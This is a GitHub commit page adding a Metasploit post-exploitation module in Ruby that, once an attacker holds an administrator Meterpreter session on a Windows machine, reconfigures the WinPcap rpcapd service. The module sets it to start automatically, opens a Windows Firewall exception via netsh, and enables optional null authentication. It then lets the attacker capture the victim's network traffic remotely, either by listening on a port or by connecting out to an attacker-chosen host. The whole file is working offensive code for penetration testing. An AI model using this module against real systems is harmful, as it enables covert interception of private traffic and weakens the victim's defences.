Skip to content

Commit d130d38

Browse files
author
jvazquez-r7
committed
Merge branch 'module-rpcapd-start' of https://github.com/bmerinofe/metasploit-framework into bmerinofe-module-rpcapd-start
2 parents a24ebde + cdd9eb1 commit d130d38

File tree

1 file changed

+117
-0
lines changed

1 file changed

+117
-0
lines changed
Lines changed: 117 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/post/file'
10+
require 'msf/core/post/common'
11+
require 'msf/core/post/windows/priv'
12+
require 'msf/core/post/windows/registry'
13+
require 'msf/core/post/windows/services'
14+
15+
class Metasploit3 < Msf::Post
16+
17+
include Msf::Post::Windows::Registry
18+
include Msf::Post::Windows::WindowsServices
19+
include Msf::Post::Windows::Priv
20+
include Msf::Post::Common
21+
include Msf::Post::File
22+
23+
def initialize(info={})
24+
super( update_info( info,
25+
'Name' => 'Enable Remote Packet Capture Service',
26+
'Description' => %q{
27+
This module enables the Remote Packet Capture System (rpcapd service)
28+
included in the default installation of Winpcap. The module allows you to set up
29+
the service in passive or active mode (useful if the client is behind a firewall).
30+
If authentication is enabled you need a local user account to capture traffic.
31+
PORT will be used depending of the mode configured.},
32+
'License' => MSF_LICENSE,
33+
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
34+
'Platform' => [ 'windows' ],
35+
'SessionTypes' => [ 'meterpreter' ]
36+
))
37+
38+
register_options(
39+
[
40+
OptBool.new('NULLAUTH', [ true, 'Enable Null Authentication.', true]),
41+
OptBool.new('ACTIVE', [ true, 'Enable rpcapd in active mode (passive by default).', false]),
42+
OptAddress.new('RHOST', [ false, 'Remote host to connect (set in active mode only).']),
43+
OptInt.new('PORT', [ true, 'Local/Remote port to capture traffic.',2002])
44+
], self.class)
45+
end
46+
47+
def run
48+
if is_admin?
49+
serv = service_info("rpcapd")
50+
print_status("Checking if machine #{sysinfo['Computer']} has rpcapd service")
51+
52+
if serv['Name'] !~ /remote/i
53+
print_error("This machine doesn't seem to have the rpcapd service")
54+
else
55+
print_status("Rpcap service found: #{serv['Name']}")
56+
reg=registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\rpcapd","Start")
57+
prog=expand_path("%ProgramFiles%") << "\\winpcap\\rpcapd.exe"
58+
if reg != 2
59+
print_status("Setting rpcapd as 'auto' service")
60+
service_change_startup("rpcapd","auto")
61+
end
62+
if datastore['ACTIVE']==true
63+
if datastore['RHOST']==nil
64+
print_error("RHOST is not set ")
65+
return
66+
else
67+
p = prog << " -d -a #{datastore['RHOST']},#{datastore['PORT']} -v "
68+
print_status("Installing rpcap in ACTIVE mode (remote port: #{datastore['PORT']})")
69+
end
70+
else
71+
fw_enable(prog)
72+
print_status("Installing rpcap in PASSIVE mode (local port: #{datastore['PORT']}) ")
73+
p = prog << " -d -p #{datastore['PORT']} "
74+
end
75+
if datastore['NULLAUTH']==true
76+
p<< "-n"
77+
end
78+
run_rpcapd(p)
79+
end
80+
else
81+
print_error("You don't have enough privileges. Try getsystem.")
82+
end
83+
end
84+
85+
def run_rpcapd(p)
86+
begin
87+
cmd_exec("sc","config rpcapd binpath= \"#{p}\" ",30)
88+
result=service_start("rpcapd")
89+
case result
90+
when 0
91+
print_good("Rpcapd started successfully: #{p}")
92+
when 1
93+
print_status("Rpcapd is already running. Restarting service ...")
94+
if service_stop("rpcapd") and service_start("rpcapd")
95+
print_good("Service restarted successfully: #{p}")
96+
else
97+
print_error("There was an error restarting rpcapd.exe. Try to run it again")
98+
end
99+
end
100+
rescue::Exception => e
101+
print_status("The following Error was encountered: #{e.class} #{e}")
102+
end
103+
end
104+
105+
def fw_enable(prog)
106+
print_status ("Enabling rpcapd.exe in Windows Firewall")
107+
begin
108+
if file_exist?(prog)
109+
cmd_exec("netsh","firewall add allowedprogram \"#{prog}\" \"Windows Service\" ENABLE ",30)
110+
else
111+
print_error("rpcad.exe doesn't exist in #{prog}. Check the installation of WinPcap")
112+
end
113+
rescue::Exception => e
114+
print_status("The following Error was encountered: #{e.class} #{e}")
115+
end
116+
end
117+
end

0 commit comments

Comments
 (0)